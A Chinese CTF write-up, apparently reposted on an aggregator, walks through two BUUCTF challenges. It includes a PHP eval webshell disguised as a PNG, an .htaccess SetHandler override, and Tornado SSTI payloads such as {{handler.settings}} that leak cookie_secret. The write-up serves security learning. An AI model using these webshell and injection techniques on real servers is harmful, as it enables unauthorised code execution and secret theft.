web题目实操(6)ssti模板注入学习

news2024/11/23 15:29:22

1.BUUCTF之[MRCTF2020]你传你呢-------文件解析漏洞

(1)打开环境后就看到一个很特别的文件上传的界面,以为是一题简单的文件上传漏洞,实不然后面做了才发现并非那样(2)这里本来应该是先上传php文件,但是我想着它可能会有过滤啥的,所以直接上传一个png上去,发现传成功了

这里我传的是

GIF89a? 
<script language="php">eval($_POST['zjt']);</script>

(3)抱着试试的态度用蚁剑连连看,发现出错了,意料之中

(4)看了其他人的WP才知道这题是一个文件上传里的文件解析漏洞。总结下来的经验就是更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。

.htaccess是什么

      看了其他博主写的才知道:启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

     也就是说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

所以这里还需要上传一个.htaccess文件,内容如下

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>

还需要注意,里面的a.png要和刚才上传的png文件一样

(5)这里上传.htaccess文件后直接抓包更改Content-Type成image/jepg或者image/jepg都行

(6)看到页面渲染出现成功,说明可以用一件连接了,直接成功

(3)连接成功后其中一个目录里即可找到flag

2.[护网杯 2018]easy_tornado

(1)打开后是三个可文件,并不知道它要干嘛

(2)直接不多说,挨个打开,看看里面是些啥内容

(3)依次看了,属实没看出来要如何操作,陷入深思。。。。。。

看了其他大佬的wp才知道:

参数filename和filehash可以推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。 

变量 filename 的值正常是要访问的文件,然后根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。 filename知道了,还需要cookie_secrethints      后面它又提示render

再根据题目easy_tornado可推测是服务器模板注入(ssti模板注入)

注:

ssti模板注入简单了解

(1).简介

        漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

判断该存在该注入的一种方法:

   输入的数据会被浏览器利用当前脚本语言调用解析执行

   可以将其理解为:具体举例可以是我们开发的blog想换主题,都是直接换模版,但是数据库不会换,这样一些主题是通过向数据库拿数据来确定数据,如果我们把模版数据换了就会造成注入

(2)模板是什么

​       模板可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是用脚本语言的字符串拼接html,然后统一输出。

模板基础知识

{% ... %} 用来声明变量

{{ ... }} 用来将表达式打印到模板输出

{# ... #} 表示未包含在模板输出中的注释

在模板注入中,主要使用的是{{}} 和 {%%}

检测是否存在ssti
在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有 36

(3)模板渲染方法
flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

回到正题

 因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

 tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

 尝试构造一下

/file?filename=/fllllllllllllag&filehash={{1}}

查阅后才知道:

模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入

(4)但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。

(5)当构造的payload为:error?msg={{2*2}}的时候,回显的结果是orz。因此可以猜测出,此处是出现了过滤。

(6)此时我们需要找的是cookie_secret,

 搜素得Tornado框架的附属文件handler.settings中存在cookie_secret

再次构造payload:

http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={{handler.settings}}

(7)此时的payload应该就是如下通过md5的结果:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
1


 /fllllllllllllag通过md5加密后:3bf9f6cf685a6dd8defadabfb41a03a1

 **md5(cookie_secret+md5(/fllllllllllllag))**通过md5加密后的结果:77a1d0572298d9f79da44fd36511802c

此时构造payload:

/file?filename=/fllllllllllllag&filehash=77a1d0572298d9f79da44fd36511802c

(8)这里需要按照公式进行加密

(9)/fllllllllllllag=3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+md5(filename)

cookie_secret:66ea9bc1-ba24-4e40-bce1-a8a75d43b425

(10)md5(cookie_secret+md5(filename)) 

ccbf9bdb48a05406ecbe929d8dbb6a62

构造payload:file?filename=/fllllllllllllag&filehash=ccbf9bdb48a05406ecbe929d8dbb6a62

也是成功拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1635154.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

神之浩劫2测试资格100%获取教程 测试资格获取方法教程

《神之浩劫》是一款基于Unreal 3&#xff08;虚幻3&#xff09;游戏引擎开发的3D团队竞技游戏&#xff0c;由美国Hi-Rez工作室开发、腾讯全球代理。2013年10月31日&#xff0c;游戏开启国服首测&#xff0c;并于2014年3月25日在美国公测。2018年1月20日&#xff0c;国服并入全球…

某科聚网一体化运营平台 catchByUrl 文件上传致RCE漏洞复现

0x01 产品简介 某科聚网一体化运营平台是一种综合性的软件平台&#xff0c;旨在帮助企业实现运营管理的集中化、自动化和协同化。该平台通常提供一系列功能模块和工具&#xff0c;用于支持企业在销售、营销、客户关系管理、供应链管理、人力资源管理等方面的运营活动。 0x02 …

25计算机考研院校数据分析 | 电子科技大学

电子科技大学&#xff08;University of Electronic Science and Technology of China&#xff09;坐落于四川省会成都市&#xff0c;直属中华人民共和国教育部&#xff0c;由教育部、工业和信息化部、四川省和成都市共建。是国家“985工程”、“211工程”、“世界一流大学和一…

FineBI学习:K线图

效果图 底表结构&#xff1a;日期、股票代码、股票名称、开盘价、收盘价、最高价、最低价 步骤&#xff1a; 横轴&#xff1a;日期 纵轴&#xff1a;开盘价、最低价 选择【自定义图表】&#xff0c;或【瀑布图】 新建字段&#xff1a;价差&#xff08;收盘-开盘&#xf…

OMG 一个方法的调用改动居然优化了一倍性能!!! ConcurrentHashMap.computeIfAbsent 学习

背景 前提&#xff1a;抖音小程序有qps的监控&#xff0c;如果说qps过低就会导致小程序被下架掉。 业务代码非常的简单 一个easy的查询 但是当并非达到 20就 会发现qps降低了10倍 业务需求实现大概这么一个链路 ok 那么此前我们在认识一下 computeIfAbsent 方法&#xff08;大…

访学/博后/联培博士关注|不同国家的英语口音辨识度训练

在访问学者、博士后及联合培养的申请过程中&#xff0c;接收方多数都要求英文面试。如果导师的母语为非英语国家&#xff0c;将会带有口音&#xff0c;这样更增加了英语面试难度。如何提升不同国家的英语口音辨识度&#xff0c;使自己的英语表达更加流利&#xff0c;知识人网小…

探索的时光 (整数三分)

本题链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 题目&#xff1a; 样例&#xff1a; 输入 5 3 2 1 2 3 输出 28 思路&#xff1a; 根据题意&#xff0c;已经给出了运算函数 当我们看到这些函数的时候&#xff0c;联想一下&#xff0c;它们的单调性&#xff0c;以…

算法学习Day1——【数据结构】单调栈

1.什么是单调栈以及单调栈的作用 &#xff08;1&#xff09;定义 顾名思义&#xff0c;单调栈是一个有序的栈&#xff0c;可能从栈顶到栈底单调递增&#xff08;单调递增栈&#xff09;&#xff0c;也有可能从栈顶到栈底单调递减&#xff08;单调递减栈&#xff09;。 &…

一文带你搞懂AI前沿技术AIGC

人工智能&#xff08;AI&#xff09;领域的发展日新月异&#xff0c;而AIGC&#xff08;Adversarial Instance Generation and Correction&#xff09;作为其中的一项前沿技术备受关注。本文将带你深入探索AIGC&#xff0c;解析其背后的原理、应用场景以及未来发展趋势。 什么…

ACK One x OpenKruiseGame 全球游戏服多地域一致性交付最佳实践

作者&#xff1a;刘秋阳、蔡靖 前言 在当今全球一体化的经济环境下&#xff0c;数字娱乐产业正日益成为文化和商业交流的有力代表。在此背景下大量游戏厂商尝试游戏出海并取得了令人瞩目的成绩&#xff0c;许多游戏以全球同服架构吸引着世界各地广泛的玩家群体。游戏全球化部…

UDP文件传输工具之UDP传输的优点和缺点

在当今快节奏的网络通信时代&#xff0c;UDP以其独特的优势&#xff0c;在众多应用场景中扮演着关键角色。本文将深入探讨UDP的优缺点及其应用场景&#xff0c;并重点介绍镭速软件如何通过技术创新&#xff0c;显著提升UDP传输的效率和可靠性。 UDP传输的优点 UDP的显著优势在…

2024王炸组合!基于Mamba的遥感图像处理引爆顶会!

对比传统方法&#xff0c;基于Mamba的遥感图像处理在计算效率和分析精度方面遥遥领先&#xff0c;Mamba遥感也成为了论文研究的新方向。 具体来说&#xff0c;在融合高分辨率的空间图像和低分辨率的光谱图像获取综合信息方面&#xff0c;Mamba可以提升性能&#xff0c;同时保持…

特斯拉全自动驾驶能力(FSD)或与百度合作;小红书内测自研大模型丨 RTE 开发者日报 Vol.196

开发者朋友们大家好&#xff1a; 这里是 「RTE 开发者日报」 &#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE&#xff08;Real Time Engagement&#xff09; 领域内「有话题的新闻」、「有态度的观点」、「有意思的数据」、「有思考的文章」、「…

【工具资源】药物研发平台;物理符号优化平台;手术视频可视化解答

在 AI for Science 的规模化推广过程中&#xff0c;低门槛使用且开源的高性能工具至关重要。一方面&#xff0c;科研人员能够通过上手使用&#xff0c;更加直观地了解 AI 的能力&#xff1b;另一方面&#xff0c;当团队中缺乏交叉学科人才时&#xff0c;已有工具能够减少科研人…

[华为OD] C卷 服务器cpu交换 现有两组服务器QA和B,每组有多个算力不同的CPU 100

题目&#xff1a; 现有两组服务器QA和B,每组有多个算力不同的CPU,其中A[i]是A组第i个CPU的运算能 力&#xff0c;B[i]是B组第i个CPU的运算能力。一组服务器的总算力是各CPU的算力之和。 为了让两组服务器的算力相等&#xff0c;允许从每组各选出一个CPU进行一次交换。 求两…

C++学习第十课:指针陷阱与引用传递(阶段练习题)

C学习第十课&#xff1a;指针陷阱与引用传递 在C中&#xff0c;指针和引用是两个强大的特性&#xff0c;但它们也可能导致一些常见的错误。本课将深入探讨使用指针时可能遇到的问题&#xff0c;并介绍引用的概念和使用方式。 大纲标题与代码详解 1. 日常使用指针容易犯的错误…

CSS的布局模式

前言&#xff1a; 我们可以看到京东的官网上的一些例子&#xff08;如下图&#xff09;&#xff0c;在同一排中能够存在多个div&#xff0c;这是通过布局方式&#xff08;例如浮动&#xff09;来实现的。 CSS传统的布局模式&#xff1a; <1>普通流&#xff08;又称之为标…

mysql UNION 联合查询

mysql UNION 联合查询 业务需要拉数据&#xff0c;这里需要对查询不同格式的数据进行组装&#xff0c;此处采用联合查询 注意1&#xff1a;null as 设备关爱 &#xff0c;结果为null&#xff0c;表头为设备关爱 注意2&#xff1a; UNION 或者 UNION ALL 联合查询自行选用 注意3…

OpenTK:安装和说明

OpenTK介绍 OpenTK是一个开源、跨平台的游戏开发库&#xff0c;由MonoGame团队创建。它为C#开发者提供了一个简单易用的接口&#xff0c;以便使用OpenGL、OpenAL和OpenCL进行3D渲染、音频处理和并行计算。OpenTK的目标是提供一个一致且高效的框架&#xff0c;让开发者能够专注于…

经典文献阅读之--SurroundOcc(自动驾驶的环视三维占据栅格预测)

0. 简介 环视BEV已经是很多场景中需要的功能&#xff0c;也是视觉代替激光雷达的有效解决方案&#xff0c;而《SurroundOcc: Multi-camera 3D Occupancy Prediction for Autonomous Driving》一吻则代表了这个领域的SOTA算法&#xff0c;文中通过多帧点云构建了稠密占据栅格数据…